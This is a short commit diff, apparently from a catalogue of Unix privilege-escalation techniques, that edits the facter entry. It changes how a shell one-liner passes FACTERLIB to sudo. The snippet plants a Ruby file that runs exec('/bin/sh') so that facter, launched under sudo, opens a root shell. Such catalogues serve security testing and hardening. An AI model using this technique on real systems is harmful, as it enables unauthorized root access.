Use the sudo VAR=... syntax instead of using -E
This commit is contained in:
@@ -9,5 +9,5 @@ functions:
|
||||
- code: |
|
||||
TF=$(mktemp -d)
|
||||
echo 'exec("/bin/sh")' > $TF/x.rb
|
||||
FACTERLIB=$TF sudo -E facter
|
||||
sudo FACTERLIB=$TF facter
|
||||
---
|
||||
|
||||
Reference in New Issue
Block a user